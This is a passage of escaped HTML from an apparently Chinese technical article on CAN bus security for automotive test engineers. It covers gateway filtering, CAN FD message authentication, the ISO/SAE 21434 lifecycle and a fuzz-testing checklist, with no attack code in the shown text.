class=\"code-snippet__subst\">f}<\/span><\/span><span class=\"code-snippet__string\">'<\/span>) &nbsp;<span class=\"code-snippet__comment\"># \u2248 7.9<\/span><\/span><\/code><\/pre>\n<\/section>\n<h3 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;color: rgb(13, 71, 161);margin-top: 28px;padding-bottom: 6px;border-bottom: 1px dashed rgb(187, 222, 251);\" data-pm-slice=\"0 0 []\"><span leaf=\"\"><span textstyle=\"\" style=\"font-weight: bold;\">5.2 \u9632\u5fa1\u7bc7\uff1a\u4ece\u6d4b\u8bd5\u5230\u91cf\u4ea7\u7684\u7eb5\u6df1\u9632\u5fa1\u4f53\u7cfb<\/span><\/span><\/h3>\n<h4 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(21, 101, 192);margin-top: 20px;font-weight: 600;\"><span leaf=\"\">\u7b2c\u4e00\u5c42\uff1a\u8f66\u8f7d\u7f51\u5173\u9694\u79bb\uff08\u77ed\u671f\u53ef\u884c\uff09<\/span><\/h4>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">\u5728\u52a8\u529bCAN\u3001\u8212\u9002CAN\u3001\u8bca\u65adCAN\u7b49\u4e0d\u540c\u7f51\u6bb5\u4e4b\u95f4\u589e\u52a0\u8f66\u8f7d\u7f51\u5173\uff08Gateway&nbsp;<\/span><span style=\"color: rgb(106, 27, 154);font-weight: 600;\"><span leaf=\"\">ECU<\/span><\/span><span leaf=\"\">\uff09\uff0c\u5728\u7f51\u5173\u5c42\u5b9e\u73b0\uff1a<\/span><\/p>\n<ul style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 14px;color: rgb(85, 85, 85);padding-left: 20px;\" class=\"list-paddingleft-1\">\n<li><strong><span style=\"color: rgb(230, 81, 0);font-weight: 700;\"><span leaf=\"\">CAN ID<\/span><\/span><span leaf=\"\">\u767d\u540d\u5355<\/span><\/strong><br \/>\n<section><span leaf=\"\">\uff1a\u53ea\u5141\u8bb8\u9884\u5b9a\u4e49\u7684\u5408\u6cd5ID\u901a\u8fc7\u7f51\u5173\uff0c\u62e6\u622a\u4e00\u5207\u672a\u77e5ID\u7684\u5e27\u3002<\/span><\/section>\n<\/li>\n<li><strong><span leaf=\"\">\u5e27\u9891\u7387\u9650\u5236<\/span><\/strong><br \/>\n<section><span leaf=\"\">\uff1a\u5bf9\u6bcf\u4e2aID\u7684\u53d1\u9001\u9891\u7387\u8bbe\u7f6e\u4e0a\u9650\uff0c\u8d85\u51fa\u5219\u4e22\u5f03\u3002<\/span><\/section>\n<\/li>\n<li><strong><span leaf=\"\">\u901a\u4fe1\u91cf\u76d1\u63a7<\/span><\/strong><br \/>\n<section><span leaf=\"\">\uff1a\u5b9e\u65f6\u7edf\u8ba1\u603b\u7ebf\u8d1f\u8f7d\uff0c\u8d85\u8fc7\u9608\u503c\u89e6\u53d1\u544a\u8b66\u3002<\/span><\/section>\n<\/li>\n<\/ul>\n<h4 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(21, 101, 192);margin-top: 20px;font-weight: 600;\"><span leaf=\"\">\u7b2c\u4e8c\u5c42\uff1aCAN FD + \u786c\u4ef6\u52a0\u5bc6\uff08\u4e2d\u671f\u5347\u7ea7\uff09<\/span><\/h4>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">CAN FD\uff08Flexible Data Rate\uff09\u662fCAN\u7684\u5347\u7ea7\u534f\u8bae\uff0c\u76f8\u6bd4\u6807\u51c6CAN\u6709\u591a\u9879\u6539\u8fdb\uff1a<\/span><\/p>\n<table style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;width: 680px;border-collapse: collapse;margin: 16px 0px;font-size: 14px;\">\n<tbody>\n<tr style=\"background: rgb(21, 101, 192);color: rgb(255, 255, 255);font-weight: 600;\">\n<th style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section style=\"text-align: center;\"><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(255, 41, 65);\">\u5bf9\u6bd4\u9879<\/span><\/span><\/section>\n<\/th>\n<th style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section style=\"text-align: center;\"><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(255, 41, 65);\">\u6807\u51c6CAN<\/span><\/span><\/section>\n<\/th>\n<th style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section style=\"text-align: center;\"><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(255, 41, 65);\">CAN FD<\/span><\/span><\/section>\n<\/th>\n<\/tr>\n<tr>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u6570\u636e\u6bb5\u957f\u5ea6<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u6700\u591a8\u5b57\u8282<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;color: rgb(39, 174, 96);font-weight: bold;\">\n<section><span leaf=\"\">\u6700\u591a64\u5b57\u8282<\/span><\/section>\n<\/td>\n<\/tr>\n<tr style=\"background: rgb(245, 247, 255);\">\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u901f\u7387<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u6700\u9ad81 Mbps<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;color: rgb(39, 174, 96);font-weight: bold;\">\n<section><span leaf=\"\">\u6700\u9ad88 Mbps<\/span><\/section>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u5185\u7f6e\u5b89\u5168<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u65e0<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;color: rgb(39, 174, 96);font-weight: bold;\">\n<section><span leaf=\"\">\u53ef\u6269\u5c55\u652f\u6301\u52a0\u5bc6\/\u8ba4\u8bc1<\/span><\/section>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">CAN FD\u652f\u6301\u5728\u6570\u636e\u6bb5\u4e2d\u5d4c\u5165<\/span><strong><span leaf=\"\">MAC\uff08\u6d88\u606f\u8ba4\u8bc1\u7801\uff09<\/span><\/strong><span leaf=\"\">\uff0cECU\u5728\u6536\u5230\u5e27\u540e\u9a8c\u8bc1MAC\u7684\u5408\u6cd5\u6027\uff0c\u4f2a\u9020\u5e27\u56e0\u65e0\u6cd5\u751f\u6210\u6b63\u786e\u7684MAC\u800c\u88ab\u76f4\u63a5\u4e22\u5f03\u3002<\/span><\/p>\n<section><span leaf=\"\"><br  \/><\/span><\/section>\n<h4 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(21, 101, 192);margin-top: 20px;font-weight: 600;\"><span leaf=\"\">\u7b2c\u4e09\u5c42\uff1aISO\/SAE 21434 \u5168\u751f\u547d\u5468\u671f\u5b89\u5168\u4f53\u7cfb\uff08\u957f\u671f\u76ee\u6807\uff09<\/span><\/h4>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">ISO\/SAE 21434\u662f\u6c7d\u8f66\u7f51\u7edc\u5b89\u5168\u7684\u56fd\u9645\u6807\u51c6\uff0c2021\u5e74\u6b63\u5f0f\u53d1\u5e03\u3002\u5b83\u8986\u76d6\u4e86\u8f66\u8f86\u7f51\u7edc\u5b89\u5168\u5de5\u7a0b\u7684<\/span><strong><span leaf=\"\">\u5168\u751f\u547d\u5468\u671f<\/span><\/strong><span leaf=\"\">\uff1a<\/span><\/p>\n<table style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;width: 680px;border-collapse: collapse;margin: 16px 0px;font-size: 14px;\">\n<tbody>\n<tr style=\"background: rgb(21, 101, 192);color: rgb(255, 255, 255);font-weight: 600;\">\n<th style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u9636\u6bb5<\/span><\/section>\n<\/th>\n<th style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u6838\u5fc3\u5b89\u5168\u6d3b\u52a8<\/span><\/section>\n<\/th>\n<th style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u6d4b\u8bd5\u5de5\u7a0b\u5e08\u5173\u6ce8\u70b9<\/span><\/section>\n<\/th>\n<\/tr>\n<tr>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u6982\u5ff5\u9636\u6bb5<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">TARA\u5a01\u80c1\u5206\u6790\u4e0e\u98ce\u9669\u8bc4\u4f30<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u8bc6\u522b<\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><span leaf=\"\">\u76f8\u5173\u5a01\u80c1\u9879<\/span><\/section>\n<\/td>\n<\/tr>\n<tr style=\"background: rgb(245, 247, 255);\">\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u5f00\u53d1\u9636\u6bb5<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u5b89\u5168\u67b6\u6784\u8bbe\u8ba1\u3001\u5b89\u5168\u7f16\u7801<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u53c2\u4e0e\u5b89\u5168\u8bbe\u8ba1\u8bc4\u5ba1<\/span><\/section>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u751f\u4ea7\u9636\u6bb5<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u5b89\u5168\u914d\u7f6e\u3001\u5bc6\u94a5\u6ce8\u5165<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u5b89\u5168\u914d\u7f6e\u9a8c\u8bc1\u6d4b\u8bd5<\/span><\/section>\n<\/td>\n<\/tr>\n<tr style=\"background: rgb(245, 247, 255);\">\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u8fd0\u8425\u9636\u6bb5<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u6f0f\u6d1e\u76d1\u63a7\u3001OTA\u5b89\u5168\u66f4\u65b0<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;color: rgb(192, 57, 43);font-weight: bold;\">\n<section><span leaf=\"\">\u5b9a\u671fCAN\u6a21\u7cca\u5b89\u5168\u56de\u5f52\u6d4b\u8bd5<\/span><\/section>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u62a5\u5e9f\u9636\u6bb5<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u5bc6\u94a5\u64a4\u9500\u3001\u5b89\u5168\u64e6\u9664<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(187, 204, 221);padding: 10px 12px;\">\n<section><span leaf=\"\">\u786e\u4fdd\u6b8b\u7559\u6570\u636e\u65e0\u6cd5\u88ab\u5229\u7528<\/span><\/section>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;color: rgb(13, 71, 161);margin-top: 28px;padding-bottom: 6px;border-bottom: 1px dashed rgb(187, 222, 251);\"><span leaf=\"\"><span textstyle=\"\" style=\"font-weight: bold;\">5.3 \u6d4b\u8bd5\u5de5\u7a0b\u5e08\u7684\u884c\u52a8\u6e05\u5355<\/span><\/span><\/h3>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span leaf=\"\">\u4f5c\u4e3a\u6d4b\u8bd5\u5de5\u7a0b\u5e08\uff0c\u4f60\u53ef\u4ee5\u4ece\u73b0\u5728\u5f00\u59cb\u5c31\u5728\u9879\u76ee\u4e2d\u843d\u5730CAN\u5b89\u5168\u6d4b\u8bd5\u80fd\u529b\uff1a<\/span><\/p>\n<ul style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 14px;color: rgb(85, 85, 85);padding-left: 20px;\" class=\"list-paddingleft-1\">\n<li>\n<section><span leaf=\"\">\u2705&nbsp;<\/span><strong><span leaf=\"\">\u5efa\u7acb<\/span><span style=\"color: rgb(230, 81, 0);font-weight: 700;\"><span leaf=\"\">CAN ID<\/span><\/span><span leaf=\"\">\u57fa\u7ebf\u5e93<\/span><\/strong><span leaf=\"\">\uff1a\u68b3\u7406\u6bcf\u4e2aECU\u6240\u6709\u5408\u6cd5\u7684<\/span><span style=\"color: rgb(230, 81, 0);font-weight: 700;\"><span leaf=\"\">CAN ID<\/span><\/span><span leaf=\"\">\u548c\u53d1\u9001\u9891\u7387\uff0c\u4f5c\u4e3a\u540e\u7eed\u68c0\u6d4b\u7684\u57fa\u51c6\u3002<\/span><\/section>\n<\/li>\n<li>\n<section><span leaf=\"\">\u2705&nbsp;<\/span><strong><span leaf=\"\">\u5728CI\/CD\u4e2d\u96c6\u6210\u6a21\u7cca\u6d4b\u8bd5<\/span><\/strong><span leaf=\"\">\uff1a\u6bcf\u6b21ECU\u8f6f\u4ef6\u7248\u672c\u66f4\u65b0\u524d\uff0c\u81ea\u52a8\u6267\u884cCAN<\/span><span style=\"color: rgb(198, 40, 40);font-weight: 700;\"><span leaf=\"\">\u6a21\u7cca\u6ce8\u5165<\/span><\/span><span leaf=\"\">\u6d4b\u8bd5\u5957\u4ef6\u3002<\/span><\/section>\n<\/li>\n<li>\n<section><span leaf=\"\">\u2705&nbsp;<\/span><strong><span leaf=\"\">\u5b9a\u671f\u6267\u884c\u5b89\u5168\u56de\u5f52<\/span><\/strong><span leaf=\"\">\uff1a\u5efa\u8bae\u6bcf\u5b63\u5ea6\u6267\u884c\u4e00\u6b21\u5b8c\u6574\u7684CAN\u5b89\u5168\u6d4b\u8bd5\uff0c\u5305\u62ecID\u6a21\u7cca\u3001\u6570\u636e\u6a21\u7cca\u3001<\/span><span style=\"color: rgb(183, 28, 28);font-weight: 700;\"><span leaf=\"\">DoS<\/span><\/span><span leaf=\"\">\u653b\u51fb\u4e09\u79cd\u573a\u666f\u3002<\/span><\/section>\n<\/li>\n<li>\n<section><span leaf=\"\">\u2705&nbsp;<\/span><strong><span leaf=\"\">\u5efa\u7acb\u6f0f\u6d1e\u8ddf\u8e2a\u673a\u5236<\/span><\/strong><span leaf=\"\">\uff1a\u53d1\u73b0\u6f0f\u6d1e\u540e\u901a\u8fc7JIRA\/TAPD\u8ddf\u8e2a\u4fee\u590d\u8fdb\u5ea6\uff0c\u7eb3\u5165\u53d1\u5e03\u95e8\u7981\uff08Release Gate\uff09\u3002<\/span><\/section>\n<section><span leaf=\"\"><br  \/><\/span><\/section>\n<\/li>\n<\/ul>\n<hr style=\"border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);\"  \/>\n<h2 style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 19px;color: rgb(26, 35, 126);border-left: 4px solid rgb(21, 101, 192);padding: 8px 16px;margin: 36px 0px 20px -4px;background: linear-gradient(90deg, rgb(227, 240, 255) 0%, transparent 100%);border-radius: 0px 6px 6px 0px;border-bottom-width: medium;border-bottom-style: none;border-bottom-color: currentcolor;\" data-pm-slice=\"0 0 []\"><span leaf=\"\">\u516d\u3001\u603b\u7ed3<\/span><\/h2>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 2em;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;margin: 0px 0px 14px;text-align: justify;\"><span leaf=\"\">\u6c7d\u8f66<\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><span leaf=\"\">\u6ca1\u6709\u52a0\u5bc6\u548c\u8ba4\u8bc1\uff0c\u662f1986\u5e74\u8bbe\u8ba1\u65f6\u4ee3\u7684\u5386\u53f2\u9057\u7559\u95ee\u9898\u3002\u4f46\u8fd9\u5e76\u4e0d\u610f\u5473\u7740\u6211\u4eec\u53ea\u80fd\u5750\u4ee5\u5f85\u6bd9\u2014\u2014<\/span><strong><span leaf=\"\">\u901a\u8fc7\u6a21\u7cca\u6d4b\u8bd5\uff0c\u6d4b\u8bd5\u5de5\u7a0b\u5e08\u53ef\u4ee5\u5728\u771f\u5b9e\u653b\u51fb\u53d1\u751f\u4e4b\u524d\uff0c\u4e3b\u52a8\u53d1\u73b0ECU\u7684\u8106\u5f31\u70b9\u3002<\/span><\/strong><\/p>\n<p style=\"margin: 0px 0px 16px;font-size: 16px;font-weight: bold;color: rgb(255, 255, 255);text-align: center;\"><span leaf=\"\">\ud83c\udfaf<span textstyle=\"\" style=\"color: rgb(255, 41, 65);\">&nbsp;\u6838\u5fc3\u7ed3\u8bba<\/span><\/span><\/p>\n<p style=\"margin: 0px;color: rgb(224, 224, 224);line-height: 1.8;text-indent: 2em;\"><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(0, 0, 0);\">\u5b89\u5168\u4e0d\u662f&#8221;\u9ed1\u5ba2\u4e13\u5229&#8221;\uff0c\u800c\u662f<\/span><\/span><strong><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(0, 0, 0);\">\u6bcf\u4e2a\u6c7d\u8f66\u6d4b\u8bd5\u5de5\u7a0b\u5e08\u5fc5\u987b\u638c\u63e1\u7684\u5b9e\u6218\u6280\u80fd<\/span><\/span><\/strong><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(0, 0, 0);\">\u3002\u6d4b\u8bd5\u5de5\u7a0b\u5e08\u7684\u4ef7\u503c\uff0c\u5728\u4e8e\u7528<\/span><\/span><span style=\"color: rgb(198, 40, 40);font-weight: 600;\"><span leaf=\"\">\u653b\u51fb\u8005<\/span><\/span><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(0, 0, 0);\">\u7684\u89c6\u89d2\u5ba1\u89c6\u4ea7\u54c1\u2014\u2014\u5728\u771f\u5b9e\u7684<\/span><\/span><span style=\"color: rgb(198, 40, 40);font-weight: 600;\"><span leaf=\"\">\u653b\u51fb\u8005<\/span><\/span><span leaf=\"\"><span textstyle=\"\" style=\"color: rgb(0, 0, 0);\">\u4e4b\u524d\uff0c\u627e\u5230\u81ea\u5df1\u7684\u6f0f\u6d1e\u3002<\/span><\/span><\/p>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-weight: bold;margin-top: 24px;\"><span leaf=\"\">\u2705 \u672c\u6587\u6280\u80fd\u6536\u83b7\u6e05\u5355<\/span><\/p>\n<ul style=\"font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 14px;color: rgb(85, 85, 85);padding-left: 20px;\" class=\"list-paddingleft-1\">\n<li>\n<section><span leaf=\"\">\u7406\u89e3<\/span><span style=\"color: rgb(21, 101, 192);font-weight: 600;\"><span leaf=\"\">CAN\u603b\u7ebf<\/span><\/span><span leaf=\"\">\u7684\u901a\u4fe1\u673a\u5236\u548c\u8bbe\u8ba1\u5c40\u9650\uff08\u65e0\u52a0\u5bc6\u3001\u65e0\u8ba4\u8bc1\uff09<\/span><\/section>\n<\/li>\n<li>\n<section><span leaf=\"\">\u638c\u63e1\u865a\u62dfCAN\uff08<\/span><span style=\"color: rgb(46, 125, 50);font-weight: 600;\"><span leaf=\"\">vcan<\/span><\/span><span leaf=\"\">\uff09\u73af\u5883\u642d\u5efa\u7684\u5b8c\u6574\u6d41\u7a0b<\/span><\/section>\n<\/li>\n<li>\n<section><span leaf=\"\">\u5b8c\u6210\u91cd\u653e\u653b\u51fb\u548c<\/span><span style=\"color: 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0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-weight: bold;margin-top: 24px;\"><span leaf=\"\">\ud83d\udccb \u7acb\u5373\u884c\u52a8\u6e05\u5355\uff08\u5efa\u8bae\u6536\u85cf\uff09<\/span><\/p>\n<table style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;width: 680px;border-collapse: collapse;margin: 12px 0px;font-size: 14px;\">\n<tbody>\n<tr style=\"background: rgb(240, 255, 240);\">\n<th style=\"border: 1px solid rgb(136, 204, 136);padding: 10px 12px;text-align: center;\">\n<section style=\"text-align: center;\"><span leaf=\"\">\u5e8f\u53f7<\/span><\/section>\n<\/th>\n<th style=\"border: 1px solid rgb(136, 204, 136);padding: 10px 12px;\">\n<section style=\"text-align: center;\"><span leaf=\"\">\u884c\u52a8\u9879<\/span><\/section>\n<\/th>\n<th style=\"border: 1px solid rgb(136, 204, 136);padding: 10px 12px;text-align: center;\">\n<section style=\"text-align: center;\"><span leaf=\"\">\u9884\u8ba1\u8017\u65f6<\/span><\/section>\n<\/th>\n<\/tr>\n<tr>\n<td style=\"border: 